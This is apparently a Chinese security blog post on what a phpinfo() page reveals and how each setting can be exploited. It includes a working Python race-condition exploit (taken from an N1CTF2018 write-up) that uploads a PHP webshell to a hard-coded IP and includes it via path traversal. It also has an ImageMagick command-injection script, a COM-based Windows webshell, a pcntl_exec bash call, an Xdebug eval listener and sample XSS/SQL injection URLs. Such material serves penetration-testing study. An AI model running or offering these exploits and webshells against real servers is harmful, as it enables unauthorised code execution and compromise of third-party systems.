phpinfo可以告诉我们什么

0x00 基本信息

system info

image

详细的操作系统信息,为提权做准备

extension_dir

image
php扩展的路径

真实ip

image
cdn什么的都不存在的,找到真实ip,扫一扫旁站,没准就拿下几个站。

web根目录

image

临时文件路径

image
向phpinfo()页面post一个shell(自己写一个上传页面),可以在_FILES[“file1”]中看到上传的临时文件,如果有个lfi,便可以直接getshell了。

phpinfo-lfi
利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
## PHP : Winning the race condition vs Temporary File Upload - PHPInfo() exploit
# Alternative way to easy_php @ N1CTF2018, solved by intrd & shrimpgo - p4f team
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/
## passwords.txt payload content
# <?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>
import sys,Queue,threading,hashlib,os, requests, pickle, os.path, re
from subprocess import Popen, PIPE, STDOUT
NumOfThreads=50
queue = Queue.Queue()
class checkHash(threading.Thread):
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue=queue
def run(self):
i=0
while True:
self.clear=self.queue.get()
passtry = self.clear
if passtry != "":
padding="A" * 5000
cookies = {
'PHPSESSID': 'o99quh47clk8br394298tkv5o0',
'othercookie': padding
}
headers = {
'User-Agent': padding,
'Pragma': padding,
'Accept': padding,
'Accept-Language': padding,
'DNT': '1'
}
files = {'arquivo': open('passwords.txt','rb')}
reqs='http://47.97.221.96:23333/index.php?action=../../var/www/phpinfo/index.php&a='+padding
#reqs='http://172.17.0.2:80/index.php?action=../../var/www/phpinfo/index.php&a='+padding
response = requests.post(reqs, headers=headers, cookies=cookies, files=files, verify=False)
data = response.content
data = re.search(r"(?<=tmp_name] =&gt; ).*", data).group(0)
print data
reqs = 'http://47.97.221.96:23333/index.php?action=../..'+data
#reqs = 'http://172.17.0.2:80/index.php?action=../..'+data
print reqs
response = requests.get(reqs, verify=False)
data = response.content
print data
i+=1
self.queue.task_done()
for i in range(NumOfThreads):
t=checkHash(queue)
t.setDaemon(True)
t.start()
for x in range(0, 9999):
x=str(x)
queue.put(x.strip())
queue.join()

参考:http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/

0x02 重要配置

allow_url_include

远程文件包含,但是一般不会开启

asp_tags

image

php标签有4种形式,如果这个选项不开启的话(一般默认不开启),使用asp的标签是不会解析的。

这里有一篇user.ini+asp_tags绕过的文章 针对内容(php tags)检测的一种绕过思路

实际就是通过向其中添加php_value asp_tags On并上传.htaccess.user.ini来bypass。

原理,asp_tags的属性是这样的

1
PHP_INI_PERDIR:指令可以在php.ini、httpd.conf或.htaccess文件中修改

注意: 在PHP 7已经完全移除了这种标签

short_open_tag

image
还是标签的问题,允许<??>这种形式,并且<?=等价于<? echo

disable_functions

image
有时候我们上传了一个webshell却不能用,有很大可能是管理员做了配置,禁用了php执行系统命令的函数。

绕过的方式有这么几个:

1.黑名单绕过
百密一疏,寻找黑名单中漏掉的函数,上图中禁用的函数算是比较全的了。

比如有时候没有禁用proc_open

比如在编译php时如果加了-–enable-pcntl选项,就可以使用pcntl_exec()来执行命令。

pcntl是linux下的一个扩展,可以支持php的多线程操作。
pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0

1
<?php pcntl_exec(“/bin/bash”, array(“/tmp/b4dboy.sh”));?>

渗透技巧:利用pcntl_exec突破disable_functions

2.利用扩展(如ImageMagick)绕过
利用ImageMagick漏洞绕过disable_function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

image

3.利用环境变量LD_PRELOAD来绕过php disable_function

4.利用扩展库绕过

Windows靠系统组件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$command=$_POST[a];
$wsh = new COM('WScript.shell'); // 生成一个COM对象
$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>

Linux下可通过编译拓展库进行绕过

Webshell下命令执行限制及绕过方法

enable_dl

image
上面说的利用扩展库绕过disable_functions,需要使用dl()并且开启这个选项

magic_quotes_gpc

image
它是用来实现addslshes()和stripslashes()这两个功能的,对SQL注入进行防御。

open_basedir

image
这个参数将用户可操作的文件限制在某目录下,但是这个限制是可以绕过的。

PHP绕过open_basedir列目录的研究

php5全版本绕过open_basedir读文件脚本

绕过open_basedir读文件脚本

0x03扩展

imagick

前段时间影响比较大的漏洞,注意看版本。

漏洞影响ImageMagick 6.9.3-10之前的版本,包括ubuntu源中安装的ImageMagick。

ImageMagick 漏洞利用方式及分析

ImageMagick远程执行漏洞分析及利用

libxml

libxml 2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的 xml 文件时未对 xml 文件引用的外部实体(含外部普通实体和外部参数实体)做合适的处理,会导致XXE。

memcache

Memcache未授权访问漏洞利用及修复

redis

利用redis写webshell

session

1.序列化的一些问题
image
序列化处理器不一致导致对象注入

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

具体可以看另一篇文章php对象注入总结

2.session.upload_progress加本地文件包含=getshell

http://skysec.top/2018/04/04/amazing-phpinfo/#session-upload-progress

xdebug

xdebug命令执行

Xdebug: A Tiny Attack Surface

Xdebug 攻击面在 PhpStorm 上的现实利用

http://skysec.top/2018/04/04/amazing-phpinfo/#Xdebug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024)
print(client_data)
data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

GOPHER

主要在ssrf中使用

利用 Gopher 协议拓展攻击面

fastcgi

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

0x04其它

OPCACHE

php不存在缓存文件,但是其有opcache,如果有文件上传就可以进行覆盖并getshell

‘act=’问题

测试版本:PHP Version 5.6.22:
发掘方法:右键源代码搜索:act=

1
2
3
4
http-sql-inject:http://target/phpinfo.php?act=Function
xss:http://target/phpinfo.php/'"/><script>alert(1)</script>
csrf或跨域名点击劫持:http://target/phpinfo.php#bottom#fghj#dfghjk
xss:http://target/phpinfo.php?act=rt&callback=<script>alert(1)</script>

域&用户

phpinfo页面还能看到当前域,当前登录用户

工具

https://github.com/GoSecure/php7-opcache-override

参考

http://skysec.top/2018/04/04/amazing-phpinfo/#OPCACHE